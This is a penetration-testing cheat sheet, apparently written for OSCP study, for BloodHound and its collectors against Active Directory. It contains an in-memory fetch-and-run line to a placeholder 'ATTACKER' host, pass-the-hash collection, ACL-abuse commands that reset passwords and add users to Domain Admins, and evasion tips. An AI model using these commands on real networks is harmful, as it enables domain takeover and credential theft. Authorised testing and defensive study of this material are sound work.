BloodHound & SharpHound — Complete Reference
Collector-only workflow: see SharpHound (EXE/PS1 on Windows) · RustHound (Rust binary) · Linux: bloodhound-python below.
What is BloodHound?
BloodHound uses graph theory to map Active Directory relationships and reveal hidden attack paths to Domain Admin (and beyond). It ingests data collected by SharpHound (Windows), RustHound (Rust), bloodhound-python (Linux), or bloodyAD get bloodhound (basic CE) and visualizes it as a graph in a Neo4j-backed UI.
Core concept: Every AD object (user, computer, group, GPO) is a node. Every relationship (MemberOf, AdminTo, HasSession, etc.) is an edge. BloodHound finds the shortest path between any two nodes — including “your owned user → Domain Admin”.
Architecture
SharpHound / RustHound / bloodhound-python / bloodyAD get bloodhound
↓ (JSON files)
BloodHound UI ←→ Neo4j database
↓
Attack path graphs + pre-built queries
↓
ACL abuse → [[bloodyAD]] add dcsync / genericAll / rbcd
📌 1) Setup & Installation
BloodHound CE — Docker (recommended)
BloodHound CE runs via Docker Compose. The bloodhound-cli binary lives in the repo and manages the stack.
# Clone official repo
git clone https://github.com/SpecterOps/BloodHound.git
cd BloodHound/examples/docker-compose
# Start stack (Docker must be running)
docker compose up -d
# OR use the CLI wrapper (same directory):
sudo ./bloodhound-cli up
# Open UI
# http://localhost:8080Docker not running?
sudo systemctl start docker
sudo systemctl enable docker
docker psForgot the admin password?
The initial password is auto-generated and may scroll off screen — no reinstall needed.
Option 1 — retrieve generated password (official):
cd BloodHound/examples/docker-compose
sudo ./bloodhound-cli config get default_passwordOption 2 — reset admin password:
cd BloodHound/examples/docker-compose
sudo ./bloodhound-cli resetpwd
# Prints new password for user `admin`Other useful bloodhound-cli commands (run from docker-compose directory with sudo ./bloodhound-cli):
sudo ./bloodhound-cli up # Start services
sudo ./bloodhound-cli down # Stop services
sudo ./bloodhound-cli restart # Restart stack
sudo ./bloodhound-cli logs # View logs
sudo ./bloodhound-cli config list # Show config keysLogin at http://localhost:8080 → user: admin → password from config get default_password or resetpwd.
Reset / delete Bloodhound data
### 1. Stop the containers
sudo docker stop bloodhound-bloodhound-1 bloodhound-app-db-1 bloodhound-graph-db-1
### 2. Remove the containers
sudo docker rm bloodhound-bloodhound-1 bloodhound-app-db-1 bloodhound-graph-db-1
### 3. Remove the BloodHound volumes
sudo docker volume rm bloodhound_neo4j-data bloodhound_postgres-data
BloodHound Legacy (older, still common on OSCP)
# Install Neo4j
sudo apt install neo4j
sudo neo4j start
# First time: go to http://localhost:7474
# Default: neo4j / neo4j → change password
# Download BloodHound binary
# https://github.com/BloodHoundAD/BloodHound/releases
# Extract and run
./BloodHound --no-sandbox
# Connect to Neo4j: bolt://localhost:7687
# User: neo4j / Password: (what you set)Kali — Install everything at once
sudo apt update && sudo apt install -y bloodhound
sudo neo4j console & # Start Neo4j
bloodhound & # Launch BloodHound GUI📌 2) SharpHound — Data Collection (Windows)
SharpHound is the official collector. It queries AD via LDAP and SMB and outputs ZIP files of JSON data ready to import into BloodHound.
Basic Collection
# Download and run
.\SharpHound.exe
# Default — collects Default collection method
.\SharpHound.exe -c Default
# Collect everything (thorough but noisy)
.\SharpHound.exe -c All
# Most useful for OSCP — sessions + ACLs + local admin
.\SharpHound.exe -c All,GPOLocalGroupAll Collection Methods (-c)
| Method | What it collects |
|---|---|
Default | Groups, Trusts, LocalAdmin, Sessions, ObjectProps, ACL, RDP, DCOM, PSRemote |
All | Everything (most complete) |
Group | Group memberships |
LocalAdmin | Local admin rights on machines (SMB) |
Session | Who is logged in where (NetSessionEnum) |
Trusts | Domain trust relationships |
ACL | ACL/permissions on AD objects |
ObjectProps | Object properties (descriptions, etc.) |
RDP | Remote Desktop rights |
DCOM | Distributed COM execution rights |
PSRemote | PowerShell Remoting rights |
GPOLocalGroup | Local group memberships via GPO |
LoggedOn | Currently logged on users (requires local admin) |
Computer | Computer properties |
Container | OU/container structures |
All Flags
| Flag | Description |
|---|---|
-c <methods> | Collection methods (comma-separated) |
-d <domain> | Target domain |
--domaincontroller <DC> | Target a specific DC |
-s | Use stealth mode (LDAP only, no SMB) |
--stealth | Same as -s — no SMB/local enum |
--ldapusername <user> | LDAP username to auth with |
--ldappassword <pass> | LDAP password |
-o <dir> | Output directory |
--zipfilename <name> | Name of output ZIP |
--nozip | Don’t zip — leave JSON files unzipped |
--randomfilenames | Randomize output filenames |
--outputprefix <prefix> | Prefix for output files |
--loop | Loop collection continuously |
--loopduration <HH:MM:SS> | Run time for loop mode |
--loopinterval <seconds> | Interval between loops |
--throttle <ms> | Throttle between queries (stealth) |
--jitter <percent> | Add jitter to throttle |
--skipdcregistry | Skip reading DC registry |
--excldomain <domain> | Exclude a domain from collection |
--computerfile <file> | Only collect from computers in this file |
-v | Verbose output |
--statusinterval <ms> | Status update interval |
Stealthy Collection
# LDAP only — no SMB, much quieter
.\SharpHound.exe -c DCOnly
# Throttle requests and add jitter
.\SharpHound.exe -c Default --throttle 1000 --jitter 20
# Skip session collection (most noisy part)
.\SharpHound.exe -c Group,LocalAdmin,ObjectProps,ACL,Trusts
# Target specific domain controller
.\SharpHound.exe -c All --domaincontroller DC01.corp.local
# Custom output location
.\SharpHound.exe -c All -o C:\Temp\ --zipfilename lootRun SharpHound from PowerShell (In-Memory)
# Load and run in memory — no EXE on disk
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/SharpHound.ps1')
Invoke-BloodHound -CollectionMethod All
# With output path
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Temp -OutputPrefix "corp"
# Stealthy — LDAP only, throttled
Invoke-BloodHound -CollectionMethod DCOnly --Throttle 1000 --Jitter 20
# Loop mode (collect sessions repeatedly to find DA sessions)
Invoke-BloodHound -CollectionMethod Session -Loop -LoopDuration 02:00:00 -LoopInterval 00:05:00Run with Alternate Credentials
# If you have creds but running from a non-domain machine
.\SharpHound.exe -c All --ldapusername jsmith --ldappassword 'Password1' -d corp.local --domaincontroller 10.10.10.10📌 3) bloodhound-python — Data Collection (Linux)
No Windows machine needed. Runs entirely from Kali using valid domain credentials.
# Install
pip3 install bloodhound
# Basic collection (most common)
bloodhound-python -u user -p 'Password1' -d corp.local -ns 10.10.10.10 -c All
# With hash (pass-the-hash)
bloodhound-python -u user --hashes :NTLM_HASH -d corp.local -ns 10.10.10.10 -c All
# Target a specific DC
bloodhound-python -u user -p 'Password1' -d corp.local -ns 10.10.10.10 --dc DC01.corp.local -c All
# DCOnly — faster, LDAP only, no SMB noise
bloodhound-python -u user -p 'Password1' -d corp.local -ns 10.10.10.10 -c DCOnly
# Save to directory
bloodhound-python -u user -p 'Password1' -d corp.local -ns 10.10.10.10 -c All -o ./bloodhound-data/
# With ZIP output
bloodhound-python -u user -p 'Password1' -d corp.local -ns 10.10.10.10 -c All --zipbloodhound-python Flags
| Flag | Description |
|---|---|
-u <user> | Username |
-p <pass> | Password |
--hashes <lm:nt> | Pass-the-hash |
-d <domain> | Domain name |
-ns <IP> | DNS server (usually the DC IP) |
--dc <hostname> | Specific DC to target |
-c <methods> | Collection methods (All, DCOnly, Session, etc.) |
-o <dir> | Output directory |
--zip | Create a ZIP file |
--dns-tcp | Use TCP for DNS (useful if UDP blocked) |
-v | Verbose |
--disable-pooling | Disable multiprocessing (debugging) |
📌 3b) RustHound — Data Collection (Rust)
Cross-platform binary alternative to bloodhound-python. See full reference: RustHound.
# BloodHound CE
rusthound-ce -d corp.local -u user@corp.local -p 'Password1' -i DC_IP -o ./out -z
# BloodHound Legacy (+ optional ADCS)
rusthound -d corp.local -u user@corp.local -p 'Password1' -i DC_IP --adcs -o ./out -z| vs bloodhound-python | When to use RustHound |
|---|---|
| Same job | Prefer single static binary, --adcs on legacy, or pip issues |
📌 4) Importing Data into BloodHound
BloodHound Legacy
- Open BloodHound GUI
- Log in to Neo4j
- Click Upload Data button (top-right, looks like an upload icon)
- Select the ZIP file (or individual JSON files)
- Wait for import to complete
- Start querying
BloodHound CE
- Open
http://localhost:8080 - Log in
- Go to File Ingest in the left sidebar
- Upload ZIP or individual JSON files
📌 5) Node Types
| Node | Description |
|---|---|
| User | Domain user account |
| Computer | Domain-joined machine |
| Group | Security group |
| Domain | The AD domain itself |
| GPO | Group Policy Object |
| OU | Organizational Unit |
| Container | AD container |
📌 6) Edge Types (Relationships)
Membership / Access
| Edge | Meaning |
|---|---|
MemberOf | User/Computer is a member of a group |
AdminTo | User/Group has local admin on a computer |
CanRDP | Can Remote Desktop to a computer |
CanPSRemote | Can PowerShell Remote (WinRM) to a computer |
ExecuteDCOM | Can execute code via DCOM |
HasSession | A user has an active session on a computer — see HasSession |
AllowedToDelegate | Constrained delegation configured |
AllowedToAct | Resource-Based Constrained Delegation (RBCD) |
TrustedBy | Domain trust relationship |
ACL / Permission Edges (Abuse Paths)
| Edge | What You Can Do | Deep dive |
|---|---|---|
GenericAll | Full control — reset password, add to group, modify object | GenericAll |
GenericWrite | Shadow creds, SPN, RBCD, AS-REP flags | GenericWrite |
WriteOwner | Become owner → grant yourself rights | WriteOwner |
WriteDACL | Modify DACL → grant GenericAll / DCSync | WriteDacl |
ForceChangePassword | Reset password without knowing current | ForceChangePassword |
AddMember | Add users to a group | AddMember |
AllExtendedRights | Extended rights bundle (incl. force password) | AllExtendedRights |
| Write on cert template | Modify template → ESC4 | AD CS Permissions · ESC4 |
ManageCA / ManageCertificates | Issue/approve certs → ESC7 | AD CS Permissions · ESC7 |
AddSelf | Add yourself to a group | AddMember |
Owns | Already owner → grant rights | WriteOwner |
DCSync | Dump all domain hashes via replication | DCSync |
GetChanges / GetChangesAll | Together = DCSync rights | DCSync |
ReadLAPSPassword | Read LAPS local admin password | Windows PrivEsc |
ReadGMSAPassword | Read gMSA password | gMSADumper |
HasSIDHistory | SID history abuse | |
SQLAdmin | Has sysadmin rights on a SQL server | |
WriteAccountRestrictions | RBCD setup (write msDS-AllowedToActOnBehalfOfOtherIdentity) |
📌 7) Pre-Built Queries (UI)
Click Analysis tab in BloodHound to run these:
Find Attack Paths
| Query | Use |
|---|---|
| Find All Domain Admins | See DA group membership |
| Find Shortest Paths to Domain Admins | Most important — shows how to get to DA |
| Find Shortest Paths to Domain Admins from Owned Principals | After marking creds as owned |
| Find Principals with DCSync Rights | Who can DCSync |
| Find Computers with Unsupported OSes | Easy targets (old Windows) |
| Find AS-REP Roastable Users | No pre-auth required |
| Find Kerberoastable Users | Accounts with SPNs |
| Find Computers where Domain Users can RDP | Easy lateral movement targets |
| Find Computers with Local Admin Rights | Spread of admin rights |
| Find All Paths from Domain Users to High Value Targets | Broad attack surface |
📌 8) Custom Cypher Queries
Run in the Raw Query bar at the bottom of BloodHound.
High-Value Targets & Paths
// All Domain Admins
MATCH (u:User)-[:MemberOf*1..]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"})
RETURN u.name
// Shortest path from any owned node to DA
MATCH p=shortestPath((o {owned:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"}))
RETURN p
// All paths from a specific user to DA (any length)
MATCH p=allShortestPaths((u:User {name:"JSMITH@CORP.LOCAL"})-[*1..]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"}))
RETURN pKerberoastable / AS-REP Roastable
// Kerberoastable users
MATCH (u:User {hasspn:true}) RETURN u.name, u.serviceprincipalnames
// Kerberoastable users that are admins somewhere
MATCH (u:User {hasspn:true})-[:AdminTo]->(c:Computer) RETURN u.name, c.name
// AS-REP roastable
MATCH (u:User {dontreqpreauth:true}) RETURN u.name
// AS-REP roastable with path to DA
MATCH p=shortestPath((u:User {dontreqpreauth:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"}))
RETURN pACL Abuse Paths
// Users with GenericAll on any group
MATCH (u:User)-[:GenericAll]->(g:Group) RETURN u.name, g.name
// Any node with WriteDACL over DA group
MATCH (n)-[:WriteDACL]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"}) RETURN n.name
// Any node with DCSync rights
MATCH (n)-[:DCSync]->(d:Domain) RETURN n.name
// Everyone who can read LAPS passwords
MATCH (n)-[:ReadLAPSPassword]->(c:Computer) RETURN n.name, c.nameSessions / Lateral Movement
// Find where Domain Admins have sessions
MATCH (u:User)-[:MemberOf*1..]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"})
MATCH (u)-[:HasSession]->(c:Computer)
RETURN u.name, c.name
// Computers reachable from a specific user via HasSession + AdminTo
MATCH p=(u:User {name:"JSMITH@CORP.LOCAL"})-[:AdminTo]->(c:Computer)<-[:HasSession]-(da:User)
WHERE da.admincount=true
RETURN p
// Computers any domain user can RDP to
MATCH (g:Group {name:"DOMAIN USERS@CORP.LOCAL"})-[:CanRDP]->(c:Computer) RETURN c.nameOwned Node Tracking
// Mark a user as owned (after getting their creds)
MATCH (u:User {name:"JSMITH@CORP.LOCAL"}) SET u.owned=true
// Mark a computer as owned
MATCH (c:Computer {name:"WEB01.CORP.LOCAL"}) SET c.owned=true
// Show all owned nodes
MATCH (n {owned:true}) RETURN n.name
// Find paths from all owned nodes to DA
MATCH p=shortestPath((o {owned:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"}))
WHERE o <> g
RETURN pMisc Useful Queries
// All computers with local admin for a user
MATCH (u:User {name:"JSMITH@CORP.LOCAL"})-[:AdminTo]->(c:Computer) RETURN c.name
// Find users with description fields (often contain passwords)
MATCH (u:User) WHERE u.description IS NOT NULL RETURN u.name, u.description
// Find accounts that haven't changed password in 90+ days
MATCH (u:User) WHERE u.pwdlastset < (timestamp()/1000 - 7776000) RETURN u.name, u.pwdlastset
// Find disabled accounts with active sessions (stale creds)
MATCH (u:User {enabled:false})-[:HasSession]->(c:Computer) RETURN u.name, c.name
// High-value nodes not yet owned
MATCH (n {highvalue:true, owned:false}) RETURN n.name, labels(n)📌 9) ACL Abuse — How to Exploit Common Edges
GenericAll / GenericWrite on a User
# Force password reset
net user victim 'NewPassword1!' /domain
# Or with PowerView
Set-DomainUserPassword -Identity victim -AccountPassword (ConvertTo-SecureString 'NewPass1!' -AsPlainText -Force)
# Set SPN (then Kerberoast)
Set-DomainObject -Identity victim -Set @{serviceprincipalname='fake/spn'}GenericAll / AddMember on a Group
→ AddMember · GenericAll
# Add yourself to a privileged group
Add-DomainGroupMember -Identity "Domain Admins" -Members "jsmith"
net group "Domain Admins" jsmith /add /domainForceChangePassword
Set-DomainUserPassword -Identity target_user -AccountPassword (ConvertTo-SecureString 'Hacked123!' -AsPlainText -Force)WriteDACL
→ Full decision tree (Domain vs user/group): WriteDacl
# Grant yourself GenericAll on the object
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity jsmith -Rights AllWriteOwner
# Become the owner first
Set-DomainObjectOwner -Identity "Domain Admins" -OwnerIdentity jsmith
# Then grant yourself rights
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity jsmith -Rights AllReadLAPSPassword
# Read the LAPS local admin password for a computer
Get-DomainComputer -Identity WEB01 -Properties ms-mcs-admpwd
Get-ADComputer WEB01 -Properties ms-mcs-admpwd | Select-Object Name, ms-mcs-admpwd📌 10) OPSEC / Stealth Tips
| Concern | Mitigation |
|---|---|
| SMB-based session collection is noisy | Use -c DCOnly or skip Session method |
| SharpHound on disk | Use Invoke-BloodHound (in-memory PowerShell) |
| LDAP queries logged | Use throttle + jitter: --throttle 1000 --jitter 20 |
| Filename detection | Use --randomfilenames or rename SharpHound.exe |
| Running from non-domain machine | Use bloodhound-python, RustHound, or bloodyAD get bloodhound from Kali |
| Loop collection (for sessions) | Use short intervals in off-hours |
📌 Quick OSCP Workflow
# ─── FROM LINUX (just creds needed) ────────────────────────────
# Collect all data
bloodhound-python -u user -p 'Password1' -d corp.local -ns DC_IP -c All --zip
# Start BloodHound
sudo neo4j start
bloodhound &
# Upload the ZIP, then:
# ─── KEY QUESTIONS TO ANSWER IN BLOODHOUND ─────────────────────
# 1. Who are the Domain Admins?
# Analysis → Find All Domain Admins
# 2. What's the shortest path to DA from my owned user?
# Mark your user as owned → Analysis → Find Shortest Paths from Owned Principals to Domain Admins
# 3. Are there Kerberoastable accounts?
# Analysis → Find Kerberoastable Users
# 4. Are there AS-REP Roastable accounts?
# Analysis → Find AS-REP Roastable Users
# 5. Where do DAs have sessions?
# Find All Domain Admin Sessions
# 6. Check node descriptions for passwords
# Raw query: MATCH (u:User) WHERE u.description IS NOT NULL RETURN u.name, u.description
# ─── MARK PROGRESS ─────────────────────────────────────────────
# Right-click any node → Mark as Owned (after compromising it)
# Right-click any node → Mark as High Value (custom targets)